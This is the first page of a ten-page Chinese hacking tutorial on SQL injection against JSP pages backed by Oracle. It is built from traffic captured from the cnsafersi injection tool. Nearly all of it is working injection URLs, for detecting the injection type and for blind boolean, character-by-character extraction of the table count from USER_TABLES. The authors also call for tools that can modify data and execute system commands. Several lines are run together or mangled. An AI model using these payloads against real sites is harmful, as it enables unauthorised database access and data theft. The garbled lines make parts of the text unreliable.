大家好 ,我们是pt007和solaris7，QQ：7491805/564935，欢迎高手前来交流：）。
首先感谢华仔和他的朋友Hotkey为大家开发的cnsafersi 注入工具，没有这个工具就没有本文，HEHE，本文是对cnsafersi
注入工具抓包后所获得的数据进行了分析和整理，文章写的比较仓促，有不足之处欢迎同行指正。
另外希望有高手开发出功能更加强大的JSP注入程序，cnsafersi目前仅有select的功能，建议新的JSP注入工具中能加入
insert/delete/update/backup/上传/执行系统命令等功能，可以参考NBSI的功能进行开发。参考文章：《如何开发CnSaferSI》。

    首先介绍本文中所使用的工具之JSP注入利器：华仔和他的朋友Hotkey开发的cnsafersi，关于使用方法近期我会写一个详细的使用教程：

下面以上图中的AD表为例来说明JSP+ORACLE注入的过程：

1、 判断注入类型（数字型还是字符型）
字符型和数字型数据判断：（希望有人能进一步的细化，细分为数字型和字符型判断两部分）
http://www.test.net/index_kaoyan_view.jsp?id=117

And user>char(0)
http://www.test.net/index_kaoyan_view.jsp?id=117

And userhttp://www.test.net/index_kaoyan_view.jsp?id=117' And user>char(0) And '1'='1
http://www.test.net/index_kaoyan_view.jsp?id=117'

And userhttp://www.test.net/index_kaoyan_view.jsp?id=117' And user>char(0) And '%25'='
http://www.test.net/index_kaoyan_view.jsp?id=117'

And userhttp://www.test.net/index_kaoyan_view.jsp?id=117) And user>char(0) And 1 in(1
http://www.test.net/index_kaoyan_view.jsp?id=117)

And userhttp://www.test.net/index_kaoyan_view.jsp?id=117') And user>char(0) And (' ')=(' 
http://www.test.net/index_kaoyan_view.jsp?id=117')

 And userhttp://www.test.net/index_kaoyan_view.jsp?id=117 And str(98)>str(97)
http://www.test.net/index_kaoyan_view.jsp?id=117 And str(98)

http://www.test.net/index_kaoyan_view.jsp?id=117'

And str(98)>str(97) And '1'='1
http://www.test.net/index_kaoyan_view.jsp?id=117'

And str(98)http://www.test.net/index_kaoyan_view.jsp?id=117' And str(98)>str(97) And '%25'='

http://www.test.net/index_kaoyan_view.jsp?id=117'

And userhttp://www.test.net/index_kaoyan_view.jsp?

id=117' And str(98)
http://www.test.net/index_kaoyan_view.jsp?id=117) And str(98)>str(97) And 1 in(1
http://www.test.net/index_kaoyan_view.jsp?id=117)

And str(98)http://www.test.net/index_kaoyan_view.jsp?

id=117') And str(98)>str(97) And (' ')=('
http://www.test.net/index_kaoyan_view.jsp?id=117') And str(98)

出现正常的页面：
http://www.test.net/index_kaoyan_view.jsp?id=117 And USER>CHR(0)
http://www.test.net/index_kaoyan_view.jsp?id=117 And USER

2、 猜解表数量和表名

数据库数量为3：
http://www.test.net/index_kaoyan_view.jsp?id=117

And 0<=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0) 

http://www.test.net/index_kaoyan_view.jsp?id=117

And 1>=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0) 

http://www.test.net/index_kaoyan_view.jsp?id=117

And 2<=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0) 

http://www.test.net/index_kaoyan_view.jsp?id=117

And 4>=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0) 

http://www.test.net/index_kaoyan_view.jsp?id=117

 And 3=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0) 

http://www.test.net/index_kaoyan_view.jsp?id=117

And UNISTR(1)>UNISTR(0) 

以下为猜解数据表数量
数据表第一位为：1

http://www.test.net/index_kaoyan_view.jsp?id=117

And 52=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1)) 
http://www.test.net/index_kaoyan_view.jsp?id=117

And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1)) 

http://www.test.net/index_kaoyan_view.jsp?id=117

And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1)) 

数据表第二位为：3
http://www.test.net/index_kaoyan_view.jsp?id=117

 And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) 

http://www.test.net/index_kaoyan_view.jsp?id=117

And 95=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) 

http://www.test.net/index_kaoyan_view.jsp?id=117

And 77=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) 
http://www.test.net/index_kaoyan_view.jsp?id=117

 And 77>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) 

http://www.test.net/index_kaoyan_view.jsp?id=117

And 70=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) 

http://www.test.net/index_kaoyan_view.jsp?id=117

And 70>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) 

http://www.test.net/index_kaoyan_view.jsp?id=117

And 67=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) 

http://www.test.net/index_kaoyan_view.jsp?id=117

And 67>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) 

http://www.test.net/index_kaoyan_view.jsp?id=117

And 65=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) 

http://www.test.net/index_kaoyan_view.jsp?id=117

And 65>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) 

http://www.test.net/index_kaoyan_view.jsp?id=117

And 109=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) 

http://www.test.net/index_kaoyan_view.jsp?id=117

And 109>ascii(substr((SELECT COUNT (*)

 FROM USER_TABLES),2,1)) 

http://www.test.net/index_kaoyan_view.jsp?id=117

And 102=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) 

http://www.test.net/index_kaoyan_view.jsp?id=117

And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) 

http://www.test.net/index_kaoyan_view.jsp?id=117

 And 99=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) 

http://www.test.net/index_kaoyan_view.jsp?id=117

 And 99>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) 

http://www.test.net/index_kaoyan_view.jsp?id=117

And 97=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) 

http://www.test.net/index_kaoyan_view.jsp?id=117

And 97>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) 

http://www.test.net/index_kaoyan_view.jsp?id=117

And 53=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) 

http://www.test.net/index_kaoyan_view.jsp?id=117

And 53>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) 

http://www.test.net/index_kaoyan_view.jsp?id=117

 And 51=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) 

数据表第三位为：1

[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] 下一页